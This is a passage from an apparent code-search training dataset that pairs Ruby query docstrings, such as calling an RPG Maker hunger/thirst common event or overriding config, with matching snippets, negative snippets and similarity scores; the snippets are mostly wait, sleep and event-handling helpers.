[ "def wait(seconds)\n @waiting = seconds * 1000\n end", "def wait\n sleep 0.0001\n end", "def brute_wait(delay)\n sleep(delay)\n end", "def wait\n sleep WAIT_TIME unless @skip_wait\n end", "def wait; end", "def wait; end", "def wait; end", "def wait!\n sleep(@sleep)\n end", "def wait_for_seconds\n\t\tsleep(1 * rand + 1)\n\tend", "def wait\n\tend", "def waiting; end", "def waiting; end", "def abs_wait_short\n wait(15)\n end", "def wait_until_not_full; end", "def wait(seconds) \r\n\t\texec(\"Wait\", seconds.to_s)\r\n\tend", "def implicit_wait=(seconds); end", "def wait(arg0)\n end", "def wait\n loop do sleep 1 end\n end", "def wait\n 0\n end", "def wait\n true\n end", "def implicit_wait; end", "def wait\n @wait.synchronize do\n sleep 1 while @count >= THREAD_MAX\n @count += 1\n end\n end", "def wait\n\t\t\t\t@available.wait\n\t\t\tend", "def wait_for(wait_max: 3, step: 0.001, &block)\n stop_at = wait_max.seconds.from_now\n\n sleep step while !block.call && (@time = Time.now) < stop_at\n\n fail \"Timeout of #{wait_max} seconds exceeded!\" unless @time < stop_at\nend", "def wait timeout: 3, &block\n wait = Selenium::WebDriver::Wait.new timeout: timeout\n wait.until(&block)\nend", "def wait(sec = 5)\n Logbook.message(\"Waiting #{sec} sec >>\" + \"\\n\")\n sec.instance_of?(Integer) ? sleep(sec) : Logbook.message(\"Waiting time is not integer: [#{sec}]\" + \"\\n\")\n end", "def wait(duration)\n info \"Request from Experiment Script: Wait for #{duration}s....\"\n warn \"Calling 'wait' or 'sleep' will block entire EC event loop. Please try 'after' or 'every'\"\n sleep duration\n end", "def send_and_wait(type, *args); end", "def wait_until times: 5, delay: 1, &condition\n times.times do\n return if condition.call\n sleep delay\n end\n raise \"Condition not met. Waited #{times} times with #{delay} sec delay\"\n end", "def wait(seconds)\n sleep(seconds)\n\n self\n end", "def wait_until timeout=10, &block\n wait = Selenium::WebDriver::Wait.new(:timeout => timeout)\n wait.until &block\nend", "def wait\n @t.each{|t| t.join}\n end", "def wait(duration)\n for i in 0...duration\n update_basic(false, true, true)\n end\n end", "def wait_for_launching\n sleep @delay\n end", "def wait_until(index)\n\t\t@wait = index\n\tend", "def wait(duration, value)\n for i in 0...duration\n @wait_time += 1 if value == false\n @wait_time2 += 1 if value\n break if i >= duration / 2\n end\n end", "def wait(duration, value)\n for i in 0...duration\n @wait_time += 1 if value == false\n @wait_time2 += 1 if value\n break if i >= duration / 2\n end\n end", "def wait_for(seconds)\n Selenium::WebDriver::Wait.new(timeout: seconds).until { yield }\nend", "def wait(timeout=10)\n Selenium::WebDriver::Wait.new(:timeout => timeout)\n end", "def wait(frames)\n return if @wait > 0\n @wait = frames\n end", "def waitUntil\n until yield\n sleep 0.5\n end\nend", "def wait_until\n until yield\n\twait\n end\n end", "def _wait_tasks\n @wait_tasks\n end", "def wait!\n now = Time.now.utc.to_i\n duration = (reset.to_i - now) + 1\n\n sleep duration if duration >= 0\n\n yield if block_given?\n\n duration\n end", "def wait_for(seconds = timeout)\n Selenium::WebDriver::Wait.new(timeout: seconds).until { yield }\n end", "def wait(frames)\n frames.times do\n wait_internal\n end\n end", "def num_waiting\n end", "def num_waiting\n end", "def wait_for(seq,timeout=1)\n begin\n ::Timeout.timeout(timeout) do\n wait(seq)\n end\n rescue ::Timeout::Error\n end\n end", "def wait(on=nil)\n []\n end", "def wait_until(timeout=20, &block)\n time_to_stop = Time.now + timeout\n until yield do\n sleep(0.1) # much less cpu stress\n break if Time.now > time_to_stop\n end\nend", "def wait(duration)\n for i in 0...duration\n update_basic\n end\n end", "def wait_until\n until yield\n wait\n end\n end", "def wait!\n wait\n raise @error if timeout?\n @messages\n end", "def wait\n @running.reset\n @waiting.set\n @running.wait\n end", "def default_wait\n @default_wait\n end", "def wait_timeout\n @wait_timeout ||= options[:wait_timeout] || DEFAULT_WAIT_TIMEOUT\n end", "def sleep(dur=0) end", "def wait(timeout=60)\n countdown = timeout.to_f\n\n while countdown > 0\n if @zmq_thread and @zmq_thread.alive?\n sleep 0.1\n countdown = countdown - 0.1\n else\n break\n end\n end\n\n super()\n end", "def wait_until(timeout=10, &block)\n time = Time.now\n success = false\n until success\n if (Time.now - time) >= timeout\n raise \"Waited for #{timeout} seconds, but block never returned true\"\n end\n sleep 0.5\n success = yield\n end\n end", "def delay_1() sleep(3) end", "def wait(time)\n if time.kind_of?(ExperimentProperty)\n duration = time.value\n else\n duration = time\n end\n info \"Request from Experiment Script: Wait for #{duration}s....\"\n Kernel.sleep duration\n end", "def sleep_time\n 60\n end", "def wait\n\t\t\t\t@group.wait\n\t\t\tend", "def wait\n @timer_thread.join\n end", "def cheap_wait; end", "def wait_until(wait_time = Capybara.default_max_wait_time)\n Timeout.timeout(wait_time) do\n loop until yield\n end\n end", "def wait_until(wait_time = Capybara.default_max_wait_time)\n Timeout.timeout(wait_time) do\n loop until yield\n end\n end", "def wait(per = nil)\n @target += per || @period\n error = @target - Time.now\n sleep error if error > 0\n true\n end", "def wait_for_page\n sleep 0.7\n end", "def wait_until\n until yield\n wait\n end\n end", "def XOwaitThinkTime(rangeTO)\n\t\tsleepTime= rand(rangeTO[0]..rangeTO[1])\n\t\t$alog.lwrite(('Sleeping for '+sleepTime.to_f.to_s+' s.'), 'DEBG')\n\t\tsleep(sleepTime)\n\t\treturn OK\n\tend", "def wait_until_with_buffer(args, &block)\n original_timeout = args[:timeout] || ENV['WAIT_TIMEOUT'].to_i\n args_buffered = args.dup\n\n args_buffered[:timeout] = 60\n\n start_time = Time.now\n Frank::Cucumber::WaitHelper.wait_until(args_buffered) { block.call() }\n end_time = Time.now\n\n delta = end_time - start_time\n puts(\"wait_until exceeded timeout #{original_timeout}. Took #{delta}. #{caller[0]}\") if delta > original_timeout\nend", "def wait_connection; end", "def wait_connection; end", "def wait\n Kernel.sleep self.interval until check_files\n end", "def click_wait(locator, sec, _arg = nil)\n click_on(locator)\n wait(sec)\n end", "def wait_for(&block)\n Retriable.retriable tries: 15, base_interval: 0.05, max_interval: 1.second do\n raise \"Exceeded max retries while waiting for block to pass\" unless block.call\n end\n end", "def wait(n)\n n.times do\n update\n yield if block_given?\n end\n end", "def wait_while\n while yield\n\twait\n end\n end", "def sleep_for\n @sleep_for ||= 5\n end", "def wait_for(timeout = DEFAULT_TIMEOUT)\n Selenium::WebDriver::Wait.new(:timeout => timeout).until {yield}\nend", "def checkTimeout_Flooding()\n\tsleep(2);\n\tputs \"time out!\";\n\n\nend", "def wait_async(time)\n EM::Synchrony.sleep(time)\nend", "def wait_until(cycle)\n until yield\n\t sleep(cycle)\n\tend\n end", "def pre_sleep; end", "def wait_done\n sleep 0.01 until done?\n end", "def update_wait?\r\n # If waiting\r\n if @wait_count > 0\r\n # Reduce wait count\r\n @wait_count -= 1\r\n return true\r\n end\r\n return false\r\n end", "def wait_readable_or_timeout; end", "def update_wait?\r\n # If waiting\r\n if @wait_count > 0\r\n # Decrease wait count\r\n @wait_count -= 1\r\n return true\r\n end\r\n return false\r\n end", "def sleep(seconds)\n task = start(Tasks::Timeout.new(delay: seconds), explicit_start: true)\n wait task.stop_event\n end", "def wait timeout = nil\n @mutex.synchronize {\n if @cnt != 0\n if timeout\n @cond_var.wait @mutex, timeout\n else\n @cond_var.wait @mutex\n end\n end\n }\n end", "def wait\n return if @timers.empty?\n\n interval = wait_interval\n sleep interval if interval >= Timer::QUANTUM\n fire\n end", "def wait_time(attempts)\n 2 ** (attempts.to_i + 2)\n end", "def wait_true max_wait=30, interval=0.5, &block\n max_wait = 1 if max_wait <= 0\n result = nil\n timeout max_wait do\n until (result = begin; block.call; rescue; end)\n sleep interval\n end\n end\n result\n end", "def sleep(n)\n Kernel.sleep(n)\n end", "def wait_while\n while yield\n wait\n end\n end", "def ev_do_calculate_rw_wait(wait); end", "def sleep\n sleep_after(0)\n end", "def pause wait_time\r\n command 'pause', wait_time\r\n end" ]
[ "0.78716975", "0.7800188", "0.7775478", "0.7672473", "0.76712835", "0.76712835", "0.76712835", "0.7640355", "0.75598574", "0.75467193", "0.7525073", "0.7525073", "0.7493897", "0.74822223", "0.7462065", "0.74085295", "0.7378307", "0.73702794", "0.7359364", "0.7239225", "0.71550095", "0.7127986", "0.71253574", "0.7068395", "0.70606345", "0.7046553", "0.70217645", "0.69640714", "0.69552034", "0.69238025", "0.6921283", "0.6919563", "0.6914523", "0.6907177", "0.6904976", "0.68875134", "0.68875134", "0.6862229", "0.685992", "0.6850343", "0.6832623", "0.68205225", "0.68181455", "0.67839867", "0.6780167", "0.6767458", "0.6765021", "0.6765021", "0.676051", "0.6748498", "0.6730421", "0.6719467", "0.66970354", "0.6694689", "0.6687585", "0.66839445", "0.66814524", "0.66582876", "0.6655045", "0.66437817", "0.6629739", "0.6598955", "0.6588616", "0.6564843", "0.656329", "0.6539594", "0.6533692", "0.6533692", "0.6531763", "0.65273285", "0.651998", "0.6518687", "0.65158105", "0.65143836", "0.65143836", "0.6507187", "0.6504689", "0.6483787", "0.64835227", "0.6483481", "0.64783376", "0.6456713", "0.6456301", "0.6441902", "0.6429307", "0.6428397", "0.6427761", "0.6427315", "0.64228284", "0.6419436", "0.6415399", "0.6411016", "0.6406935", "0.640623", "0.640553", "0.6401705", "0.6400479", "0.6381342", "0.6372216", "0.6371956" ]
0.6905547
34
Call_HT_Event:: Call the specified Common Event
def call_ht_event(event_id, mode) case mode when 0 $game_temp.common_event_id = SynHT::Call_event_hunger[event_id] when 1 $game_temp.common_event_id = SynHT::Call_event_thirst[event_id] end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def call_common_event(id)\n if $imported[\"TH_SceneInterpreter\"] == true\n @interpreter.setup($data_common_events[id].list)\n @phone_command.activate\n else\n dispose_phone_background\n @phone_command.dispose\n $game_temp.reserve_common_event(id)\n SceneManager.return\n end\n end", "def call event\n fire(event)\n end", "def run(event, params = nil)\n @events[event].call(params)\n end", "def callwide_events()\n on :event => 'error', :next => '/error.json' # For fatal programming errors. Log some details so we can fix it\n on :event => 'hangup', :next => '/hangup.json' # When a user hangs or call is done. We will want to log some details.\nend", "def event_calling(common_event, event_id)\n if (event = $game_map.events[event_id]) && event.list\n i = 0\n i += 1 while FEC_SKIP_CODES.include?(event.list[i]&.code)\n return true if event.list[i] && event.list[i].code == 117 && event.list[i].parameters[0] == common_event\n end\n return false\n end", "def front_event_calling(common_event)\n event = $game_player.front_tile_event\n if event&.list\n @event_id = event.id if @event_id == 0\n i = 0\n i += 1 while FEC_SKIP_CODES.include?(event.list[i]&.code)\n return true if event.list[i] && event.list[i].code == 117 && event.list[i].parameters[0] == common_event\n end\n return false\n end", "def dispatch(event, *args)\n result = nil\n @events[event]&.each { |hdl| result = hdl.call(*args) }\n result\n end", "def send_event(type, name, id, info)\n message = create_message(:cmdtype => type, :target => @@myName, \n :value => name, :appID => id, :message => info) \n send_message(@@myECAddress, message)\n end", "def launch_common_event(id)\r\n common_event = $data_common_events[id]\r\n if common_event\r\n @child_interpreter = Interpreter.new(@depth + 1)\r\n @child_interpreter.setup(common_event.list, @event_id)\r\n end\r\n end", "def send_events=(_arg0); end", "def event(event, options = {})\n get \"events/#{event}\", options\n end", "def pbCommonEvent(id)\n return false if id<0\n ce = $data_common_events[id]\n return false if !ce\n celist = ce.list\n interp = Interpreter.new\n interp.setup(celist,0)\n begin\n Graphics.update\n Input.update\n interp.update\n pbUpdateSceneMap\n end while interp.running?\n return true\nend", "def processEvent(eventName)\n\tend", "def dispatch_event(event)\n response = Helpers::HttpUtils.make_request(\n event.url, event.http_verb, event.params.to_json, event.headers, Helpers::Constants::EVENT_DISPATCH_CONFIG[:REQUEST_TIMEOUT], @proxy_config\n )\n\n error_msg = \"Event failed to dispatch with response code: #{response.code}\"\n\n case response.code.to_i\n when 400...500\n @logger.log(Logger::ERROR, error_msg)\n @error_handler.handle_error(HTTPCallError.new(\"HTTP Client Error: #{response.code}\"))\n\n when 500...600\n @logger.log(Logger::ERROR, error_msg)\n @error_handler.handle_error(HTTPCallError.new(\"HTTP Server Error: #{response.code}\"))\n else\n @logger.log(Logger::DEBUG, \"event successfully sent with response code #{response.code}\")\n end\n rescue Timeout::Error => e\n @logger.log(Logger::ERROR, \"Request Timed out. Error: #{e}\")\n @error_handler.handle_error(e)\n\n # Returning Timeout error to retain existing behavior.\n e\n rescue StandardError => e\n @logger.log(Logger::ERROR, \"Event failed to dispatch. Error: #{e}\")\n @error_handler.handle_error(e)\n nil\n end", "def pbCommonEvent(id)\n return false if id<0\n ce=$data_common_events[id]\n return false if !ce\n celist=ce.list\n interp=Interpreter.new\n interp.setup(celist,0)\n begin\n Graphics.update\n Input.update\n interp.update\n pbUpdateSceneMap\n end while interp.running?\n return true\nend", "def event(*args) # name, options, callback\n <<-JS.gsub(/^ {10}/, '')\n if (typeof(Intercom) !== 'undefined') {\n Intercom('trackEvent', name, options || {});\n setTimeout(function() {\n Intercom('update');\n }, 2000);\n }\n JS\n end", "def send_event(event, hint = nil)\n client.send_event(event, hint)\n end", "def call_event(event, text)\n t = Thread.new do\n pause 0.1 while @@interrupted\n observer_event event, text\n end\n t.join\n end", "def fire_event(event)\n blocks = FastlyNsq.events.fetch(event)\n blocks.each do |block|\n block.call\n rescue => e\n logger.error \"[#{event}] #{e.inspect}\"\n end\n end", "def handle_event\n event = ChargeBee::Event.retrieve(params[:id]).event\n handle(event)\n head :ok\n rescue ChargebeeRails::UnauthorizedError => e\n log_errors(e)\n head :unauthorized\n end", "def events\n # ignore messages from bots!\n\n case params[:type]\n when 'url_verification'\n logger.info \"verifying url\"\n render json: { challenge: params[:challenge] }\n when 'event_callback'\n return unless event_params[:bot_id].nil?\n\n render json: nil\n ProcessSlackMessageJob.perform_later(event_params.as_json)\n\n else\n logger.info '*'*10\n logger.info \"Unknown event type: #{params[:type]}\"\n logger.info params.inspect\n end\n end", "def exec_event(ce)\r\n if ce.event\r\n @direction, @completed, @message = ce.event.happens(@pc)\r\n ce.update_attribute(:completed, @completed)\r\n @pc.reload\r\n else\r\n Rails.logger.warn \"!!! No event found for current event; #{ce.inspect}\"\r\n ce.update_attribute(:completed, @completed)\r\n @pc.reload\r\n end\r\n\r\n if @direction\r\n flash[:notice] = @message\r\n redirect_to @direction\r\n else\r\n render :file => 'game/complete', :layout => true\r\n end\r\n end", "def send_events; end", "def event(query_name)\n @client.call(:event, query_name)\n end", "def trigger_event(event_name, *args)\n event_callbacks[event_name].each do |cb|\n begin\n cb.call(*args)\n rescue Exception => ex\n warn \"[OnStomp/Event] triggering #{event_name} raised an error: #{ex}\"\n end\n end\n end", "def call\n catch_event unless no_event_possible?\n end", "def call(event)\n client.send_message(queue_url: queue_url, message_body: event)\n end", "def call(event)\n client.send_message(queue_url: queue_url, message_body: event)\n end", "def dispatch(event_type, *params)\n @connection.mutex.synchronize do\n begin\n self.send(\"event_#{event_type}\", *params)\n rescue\n add_error(\"Event #{event_type} raised an exception: #{$!}\")\n end\n end\n end", "def fire_events!(*events); end", "def trigger(event, *params, &block)\n catch :return do\n return_value = nil\n __handlers[event.to_sym].each do |handler|\n return_value = handler.call(*params, &block)\n end\n return_value\n end\n end", "def call\n tg = TicketGroup.find(params[:ticket_group_id])\n event_name = 'testing name'\n row = 'test row'\n section = 'test section'\n if tg\n event = tg.custom_event\n event_name = event.name\n section = tg.section\n row = tg.row\n end\n if session[:buyer]\n buyer = Buyer.find(session[:buyer])\n hit_tropo_end_point({\n 'name' => buyer.first_name,\n 'event_name' => event_name,\n #'section' => section,\n #'row' => row,\n 'action' => 'voice',\n 'call_type' => AppSettings::CALL_TYPE[:voice]\n })\n flash[:message] = \"successfully called!\"\n else\n respond_to do |format|\n flash[:error] = \"sign up or sign in as a buyer first!\"\n format.html { redirect_to(\"/buyers/new\")}\n end\n end\n end", "def event(category, action, label = nil, value = nil, utmni = false, utmhid = random_id)\n check_account_params\n hey(event_params(category, action, label, value, utmni, utmhid))\n end", "def ga_fire_event(event_data)\n @ga_tracker.send(HitBuilders::EventBuilder.new\n .set_category(event_data[:category])\n .set_action(event_data[:action])\n .set_label(event_data[:label])\n .build())\n end", "def trigger_event(eventSymbol, *args)\n engine.send(eventSymbol, *args)\n end", "def send_event(msg, hash)\n client = Dogapi::Client.new(@api_key)\n event = Dogapi::Event.new(msg, hash)\n client.emit_event(event)\n end", "def get_event(event_id)\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events/#{event_id}\"))[0]\n end", "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end", "def set_event\n @event = ::Event.find(params[:event_id] || params[:rollcall][:event_id])\n end", "def emit_event(event)\n log.trace \"in_sendgrid_event: emit_event\"\n router.emit(\"#{tag}\", Fluent::EventTime.now, event)\n end", "def update_global_common_events\n end", "def trigger(owner, event, *args); end", "def send_event(event)\n @client.send_event(@klass.to_s, @id, event)\n self\n end", "def send_event\n raise 'send_event must be defined in the child class'\n end", "def icecream(flavor=\"vanilla\")\n event(:icecream, :flavor => flavor)\n\n <<EOF2\n<h2>event method</h2>\nThis example uses event to send an event to Fnordmetric.\n\n<pre>\n def icecream(flavor=\"vanilla\")\n event(:icecream, :flavor => flavor)\n end\n</pre>\n\nIf you run 'fn.rb' (bundle exec fn.rb run), you can check the icecreams <a href='http://localhost:4242/example#dashboard/Overview' target='_blank'>page</a><p />\nSorry for the wait... You won a vanilla Icecream <a href='/icecream'>Icecream</a>. May be you prefer <a href='/icecream/strawberry'>strawberry</a> ? <p />\nIf you wish, we can <a href='/deliver'>deliver</a> the icecream to your door, but it might take some time, be patient.\n\nEOF2\n end", "def log_event(params)\n puts \"Log Details:\"\n puts \"<====================>\"\n puts \"Event Type: #{params['event']}\"\n puts \"Recepient: #{params['recipient']}\"\n puts \"City: #{params['city']}\"\n puts \"Country: #{params['country']}\"\n puts \"Client Type: #{params['client-type']}\"\n puts \"Client Name: #{params['client-name']}\"\n puts \"Device Type: #{params['device-type']}\"\n puts \"Client OS: #{params['client-os']}\"\n puts \"Url Clicked: #{params['url']}\" if params['event'] == \"clicked\"\n puts \"Logged at: #{Time.at(params['timestamp'].to_i).utc.to_datetime}\"\n puts \"<====================>\"\n end", "def event!(*args)\n @events&.call(*args)\n end", "def fire(event_type, *arguments)\n @events[event_type].each do |event|\n event.call(*arguments)\n end if event_is_defined(event_type)\n end", "def event\n fetch('esport.events')\n end", "def event(name:, client_args:, event_args: {})\n client(client_args).event(event_args.merge(action: name))\n end", "def process_event(cal, channel, offset, etype) \r\n cid = LocalChannel.get_channel_by_name(channel).flatten 1 # get correct channels for events\r\n cid.map {|ch| add_event(cal, ch.channelID, offset, etype)} # add event to system\r\n end", "def event_code\n @payload.fetch('event')\n end", "def event\n MailCannon::Event.from_code(self.code)\n end", "def trigger(node, event)\n Capybara.current_session.execute_script(\"arguments[0].#{event}()\", node)\n end", "def dispatch_event(event_name, args)\n @event_message_channels[event_name].each do |message_channel|\n message_channel.send [:event, event_name, args]\n end\n end", "def render_realtime(event)\n fail \"event/trigger is not found\" unless event[:trigger]\n fail \"event/action is not found\" unless event[:action]\n\n <<-EOS\nwhen \"#{event[:id]}\"\n response[:_db_errors] = {}\n response[:_event] = \"#{event[:id]}\"\n#{indent(params_rb(event[:trigger][:params]), 1)}\n#{indent(action_rb(event[:action]), 1)}\n EventMachine.next_tick do\n settings.sockets.each { |s| s.send(response.to_json) }\n end\n EOS\n end", "def handle_event(event)\n\n\t\tend", "def view_event(user, event) \n\tend", "def fire_event locator, event_name\r\n command 'fireEvent', locator, event_name\r\n end", "def fire_event locator, event_name\r\n command 'fireEvent', locator, event_name\r\n end", "def do_event_action\n if self.casetype == 'order' || self.casetype == 'abandoned_cart' || self.casetype == 'preorder'\n puts \"Case do_event_action start\"\n events = Event.where(casetype: self.casetype)\n if events.present?\n puts \"case do_event_action\"\n user = User.find_by_subdomain(Apartment::Tenant.current)\n events.each do |event|\n Services::EventAction.do_action(user, event, self)\n end\n end\n puts \"Case do_event_action finish\"\n end\n end", "def info(event)\n get(:standard, {:method => \"event.getInfo\", :event => event})\n end", "def processEvent( client, user, t_event )\n#\t\tclient.room.say(\"Processing Event #{t_event}\")\n if user.id != client.user.id\n $botData['events'].each { |event|\n if event['event'] == t_event\n if event['delivery_method'].to_i == 1\n if event['include_name'].to_i == 0\n client.room.say(event['pre_text'] + event['post_text'])\n else\n client.room.say(event['pre_text'] + user.name + event['post_text'])\n end\n else\n if event['include_name'].to_i == 0\n user.say(event['pre_text'] + event['post_text'])\n else\n user.say(event['pre_text'] + user.name + event['post_text'])\n end\n end\n end\n }\n end\nend", "def emit event, *args\n if @callbacks.key?(event)\n @callbacks[event].call(*args)\n end\n end", "def send_remote_comm_event(type, data)\n request('sendRemoteCommEvent', type, data)\n end", "def event_cupe_raised(event)\n @log.debug \"event_cupe_raised in state#{@network_state}, event: #{event}\"\n case @network_state\n # STATE: INIT\n when :state_init\n case event\n when :ev_gui_controls_created\n state_no_network\n end\n # STATE: NO_NETWORK\n when :state_no_network\n case event\n when :ev_login_ok\n state_logged_on\n when :ev_start_local_game\n state_on_localgame\n end\n # STATE: ON_LOCALGAME\n when :state_on_localgame\n case event\n when :ev_gfxgame_end\n state_no_network\n end \n # STATE: LOGGED_ON\n when :state_logged_on\n case event\n when :ev_start_network_game\n state_on_netgame\n when :ev_client_disconnected\n state_no_network\n when :ev_startupdate\n state_on_updateclient\n end\n # STATE: ON_UPDATECLIENT\n when :state_on_updateclient\n case event\n when :ev_update_terminated\n state_logged_on\n when :ev_client_disconnected\n state_no_network\n end\n # STATE: ON_NETGAME \n when :state_on_netgame\n case event\n when :ev_gfxgame_end\n state_on_table_game_end\n when :ev_client_disconnected\n state_no_network\n when :ev_playerontable_leaved\n state_ontable_lessplayers\n end\n # STATE: ON_TABLE_GAME_END\n when :state_on_table_game_end\n case event\n when :ev_client_disconnected\n state_no_network\n when :ev_playerontable_leaved\n state_ontable_lessplayers\n when :ev_client_leave_table\n state_logged_on\n when :ev_start_network_game\n state_on_netgame\n end\n # STATE: ON_TABLE_LESSPLAYERS\n when :state_ontable_lessplayers\n case event\n when :ev_client_disconnected\n state_no_network\n when :ev_client_leave_table\n state_logged_on\n end\n end #end @network_state case\n\n end", "def fire_event(type, query, event = :click)\n browser.send(type, query).fire_event event\n end", "def event(event, opts={}, &block)\r\n tt = read_inheritable_attribute(:transition_table)\r\n \r\n et = read_inheritable_attribute(:event_table)\r\n e = et[event.to_sym] = SupportingClasses::Event.new(event, opts, tt, &block)\r\n define_method(\"#{event.to_s}!\") { e.fire(self) }\r\n end", "def dispatch(event)\n if ENV.key?('PROM_DEBUG')\n log.debug(\"PROM_DEBUG set, not dispatching event to Sensu: #{event}\")\n return\n end\n\n # :nocov:\n begin\n s = TCPSocket.open(@sensu_address, @sensu_port)\n s.puts(JSON.generate(event))\n s.close\n rescue SystemCallError => e\n log.error(\"Sensu is refusing connections! Error: '#{e}'\")\n raise(\"Sensu is not avilable at '#{@sensu_address}:#{@sensu_port}'\")\n end\n # :nocov:\n end", "def event_change\n\t\n\tend", "def send_event(event)\n each { |actor| actor.mailbox.system_event event }\n end", "def call event\n # Instantiate and execute a handler for the event based on its namespace.\n # Handlers are executed with the middleware instance as the receiver.\n namespace, topic = event.topic.split('.')\n self.instance_exec(event, &handler_for(namespace, event.type))\n\n # Pass through the event (with potentially modified arguments) to the next\n # middleware\n fire(event)\n end", "def resolved_event(user,event)\n @greeting = \"Hi\"\n @event = event\n\n mail to: user.email\n end", "def fire(event_name)\n\t\t\tcallback = @events[event_name]\n\t\t\t\n\t\t\tif callback\n\t\t\t\tcallback.call(self)\n\t\t\tend\n\t\tend", "def handle_call(client, data)\n call_id, proc_uri, *args = data\n\n trigger(:call, client, call_id, proc_uri, args)\n end", "def event\n @event ||= Hyrax::Event.create( action, Time.current.to_i )\n end", "def dispatch_event(data)\n puts \"Event Dispatcher Invoked\"\n \n unless !data.has_key? \"type\"\n puts \"message type #{data['type'].to_s}\"\n \n # switch event action based on message type\n case data['type']\n when \"register\"\n puts \"user wishes to register. check auth_key first\"\n self.register(data)\n when \"subscribe\"\n puts \"user wishes to subscribe to a channel\"\n self.subscribe(data)\n when \"message\"\n # message: to:channel,from:uuid,type:message,text:message,visibility:private\n puts \"user wishes to send a message\"\n end\n \n else\n # if the socket is connected but no post_init data was sent\n # then we want to kill the connection, since this is probably an unauthorized\n # user....\n \n puts \"data doesn't have key type\"\n self.close_connection_after_writing\n end\n \n end", "def apphelp_event( event, ctrl = controller )\n apphelp_view_hint( \"event_#{ event }\", ctrl )\n end", "def track_event(action)\n\t\t\tif params['ga_tracking_id'] and params['ga_client_id']\n\t\t\t\ttracker = Staccato.tracker(params['ga_tracking_id'], params['ga_client_id'], ssl: true, document_hostname: params['ga_hostname'])\n\t\t\t\ttracker.event(category: 'support', action: action, value: 1)\n\t\t\tend\n\t\tend", "def reserved_common_event\r\n $data_common_events[@common_event_id]\r\n end", "def setup_tsbs_common_event\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n @acts[1] = 0 unless @acts[1].is_a?(Numeric)\n $game_temp.tsbs_event = @acts[1]\n Fiber.yield\n end", "def trigger(description, incident_key=nil, details=nil)\n request 'service_key' => service_key,\n 'incident_key' => incident_key,\n 'event_type' => 'trigger',\n 'description' => description,\n 'details' => details\n end", "def on(event_type, options={}, &block)\n site.on event_type, options, &block\n end", "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend", "def event\n @event\n end", "def action(event)\n @neko.send event.target[:action]\n end", "def event_params\n {\n 'ToUserName' => 'FAKE_VALID_USERNAME',\n 'FromUserName' => 'FAKE_VALID_FROMUSERNAME',\n 'CreateTime' => '1501489767',\n 'MsgType' => 'event',\n 'Event' => 'click',\n 'EventKey' => 'ping', # will send a pong\n }\nend", "def record_event(params = {})\n self.class.get('/event/record', params)\n end", "def emit(event, data = nil)\n self.process_event(event, data)\n end", "def event; end", "def event; end", "def event; end", "def on_helo_event(ctx, helo_data) end", "def dispatch_event(type: event_type, with_data: data, token: nil)\n # This wierd Object include check has to do with Ruby's odd main/top level behaviours\n # We are basically just checking that the method was defined in this file\n if(type && Object.private_instance_methods.include?(type.to_sym))\n send(type.to_sym, with_data, token: token)\n else\n logger.info \"Did not find a handler for event type '#{type}'\"\n empty_response\n end\nend", "def on_helo_event(ctx, helo_data); end", "def log_event(event, params)\n end", "def reserved_common_event\n $data_common_events[@common_event_id]\n end", "def send_event(event = :push, opts = {})\n payload = build_payload opts\n send_payload event, payload\n end", "def trigger(event_name, data, socket_id = nil)\n trigger!(event_name, data, socket_id)\n rescue PhoenixRails::Error => e\n PhoenixRails.logger.error(\"#{e.message} (#{e.class})\")\n PhoenixRails.logger.debug(e.backtrace.join(\"\\n\"))\n end", "def process_event(res, event_type, app_id, msg)\n logger.info \"Frisbeed: App Event from '#{app_id}' - #{event_type}: '#{msg}'\"\n if event_type == 'EXIT' #maybe i should inform you for every event_type.\n res.inform(:status, {\n status_type: 'FRISBEED',\n event: event_type.to_s.upcase,\n app: app_id,\n exit_code: msg,\n msg: msg\n }, :ALL)\n elsif event_type == 'STDOUT'\n res.inform(:status, {\n status_type: 'FRISBEED',\n event: event_type.to_s.upcase,\n app: app_id,\n exit_code: msg,\n msg: msg\n }, :ALL)\n end\nend" ]
[ "0.65438694", "0.65334266", "0.6190544", "0.61736244", "0.6131936", "0.6086461", "0.60568136", "0.5956838", "0.5893094", "0.585501", "0.5850222", "0.5801438", "0.57707983", "0.57518286", "0.57309884", "0.56581235", "0.5645046", "0.5623829", "0.5601605", "0.55773646", "0.5571772", "0.5565328", "0.55625004", "0.5529242", "0.55178815", "0.549839", "0.54853123", "0.54853123", "0.5481315", "0.5481022", "0.5471575", "0.5464848", "0.54605365", "0.54468155", "0.5433848", "0.5412697", "0.5402943", "0.53725374", "0.5358775", "0.53457963", "0.5344969", "0.5321856", "0.53131694", "0.5310131", "0.5307908", "0.527234", "0.52654934", "0.5263207", "0.52557814", "0.5242278", "0.52274156", "0.5215177", "0.52066183", "0.52056634", "0.5204651", "0.52037907", "0.52011704", "0.5194346", "0.51743203", "0.51743203", "0.51620203", "0.5157099", "0.5144139", "0.5134739", "0.5129051", "0.5125728", "0.5115843", "0.5112304", "0.51119226", "0.5109653", "0.51045054", "0.5092353", "0.5085961", "0.50833136", "0.5079185", "0.5071338", "0.5065436", "0.5061416", "0.5038495", "0.5034905", "0.50302476", "0.5030084", "0.50266695", "0.5022049", "0.5019062", "0.5016763", "0.5008768", "0.5003971", "0.5000719", "0.4996699", "0.4996699", "0.4996699", "0.49862987", "0.4985214", "0.4982921", "0.497899", "0.496878", "0.49681306", "0.49585634", "0.49526367" ]
0.6648459
0
Note that this method is mixed into each example, and so the instance variable we created here gets cleared automatically after each example
def config_override(hash) @config_override ||= {} @config_override.update(hash) @config = nil config end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
